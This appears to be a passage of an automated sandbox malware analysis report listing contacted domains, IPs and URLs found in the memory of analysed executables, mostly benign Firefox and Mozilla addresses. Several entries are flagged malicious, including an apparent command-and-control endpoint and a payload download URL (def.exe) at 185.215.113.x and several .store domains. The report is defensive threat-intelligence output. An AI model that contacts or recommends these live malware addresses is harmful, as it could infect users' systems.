https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://monitor.firefox.com/user/dashboard	0%	URL Reputation	safe
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://www.openh264.org/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
star-mini.c10r.facebook.com	157.240.253.35	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
twitter.com	104.244.42.1	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
dyna.wikimedia.org	185.15.59.224	true	false	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.184.206	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
youtube-ui.l.google.com	216.58.206.78	true	false	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
reddit.map.fastly.net	151.101.1.140	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
push.services.mozilla.com	34.107.243.93	true	false	unknown
necklacedmny.store	188.114.97.3	true	true	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	unknown
www.reddit.com	unknown	unknown	false	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
presticitpo.store	unknown	unknown	true	unknown
support.mozilla.org	unknown	unknown	false	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
fadehairucw.store	unknown	unknown	true	unknown
www.facebook.com	unknown	unknown	false	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
thumbystriw.store	unknown	unknown	true	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
crisiwarny.store	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown
presticitpo.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.comZ	firefox.exe, 00000017.00000002.2268717210.000021B03B300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.2062	6e2c49386e.exe, 00000006.00000002.1928139125.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2211641296.0000016BB6F48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.microsoft	ff3d383111.exe, 00000004.00000003.1915500086.000000000120F000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1881342956.000000000120E000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1895415115.000000000120F000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1901487712.0000000001210000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1864263167.0000000001210000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1863927801.0000000001210000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1878298115.000000000120E000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1863552145.000000000120F000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1989886144.000000000120F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	ff3d383111.exe, 00000004.00000003.1881342956.000000000120E000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 00000017.00000002.2259078814.0000016BBC7B0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000017.00000002.2123948491.0000016BA48D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000017.00000002.2126775101.0000016BB01FA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000017.00000003.1993791305.0000016BB435A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993222239.0000016BB4100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2157587409.0000016BB4670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.1993377123.0000016BB431F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993590887.0000016BB433C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1994038283.0000016BB4377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2195227642.0000016BB644D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2181654980.0000016BB5090000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com;	firefox.exe, 00000017.00000002.2268717210.000021B03B300000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 00000017.00000002.2185673260.0000016BB57DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2100956552.0000016BBC792000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000017.00000002.2128759032.0000016BB092C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/recommendationsPocket	firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000017.00000002.2129547434.0000016BB0A26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993590887.0000016BB433C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1994038283.0000016BB4377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 00000017.00000002.2133944003.0000016BB23A5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com	firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000017.00000003.1993791305.0000016BB435A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993222239.0000016BB4100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2157587409.0000016BB4670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.1993377123.0000016BB431F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993590887.0000016BB433C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1994038283.0000016BB4377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/	firefox.exe, 00000017.00000002.2257743814.0000016BBC67C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2180279670.0000016BB4F3D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000017.00000002.2128759032.0000016BB092C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.comresource://normandy/lib/TelemetryEvents.sys.mjsenv.channel	firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	firefox.exe, 00000017.00000002.2126230441.0000016BB008A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.widevine.com/	firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes	firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000017.00000002.2127718390.0000016BB067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2137248291.0000016BB3C24000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://email.seznam.cz/newMessageScreen?mailto=%shttps://outlook.live.com/default.aspx?rru=compose&	firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.orgdevice-connected-notificationaccount-connection-disconnectedshowBadgeOnly	firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 00000017.00000002.2140090693.0000016BB41A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiN6b	ff3d383111.exe, 00000004.00000003.2131553160.0000000001220000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.2130885999.000000000121B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 00000017.00000002.2196743064.0000016BB6582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB162A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2181654980.0000016BB5008000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 00000017.00000002.2272952898.000028B89CA04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.inbox.lv/rfc2368/?value=%sSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLNon-zero	firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000017.00000002.2194610949.0000016BB6312000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2195227642.0000016BB644D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.orgmigrateXULAttributeToStylenetwork.proxy.backup.socksbrowser.tabs.drawInTit	firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	ff3d383111.exe, 00000004.00000003.2130885999.000000000121B000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2211581163.0000000001031000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	ff3d383111.exe, 00000004.00000003.1842171798.0000000005B33000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975576439.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ebay.comP	firefox.exe, 00000017.00000002.2272952898.000028B89CA04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-description-new	firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.iqiyi.com/	firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_REQUEST_BODY_SENTACTIVITY_SUBTYPE_PRO	firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/strings	firefox.exe, 00000017.00000002.2123948491.0000016BA4803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php/N=P	num.exe, 0000001B.00000002.2049712419.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000017.00000002.2185673260.0000016BB57DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2100956552.0000016BBC792000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yandex.com	firefox.exe, 00000017.00000002.2272952898.000028B89CA04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	6e2c49386e.exe, 00000006.00000002.1926357964.00000000002FC000.00000040.00000001.01000000.00000009.sdmp, 6e2c49386e.exe, 00000006.00000003.1886057556.0000000004CCB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000023.00000000.2187679070.0000000000B5C000.00000008.00000001.01000000.00000013.sdmp	false	URL Reputation: safe	unknown
http://www.inbox.lv/rfc2368/?value=%su	firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.tsn.caZ	firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.tsn.ca	firefox.exe, 00000017.00000002.2267379507.000005371EF51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
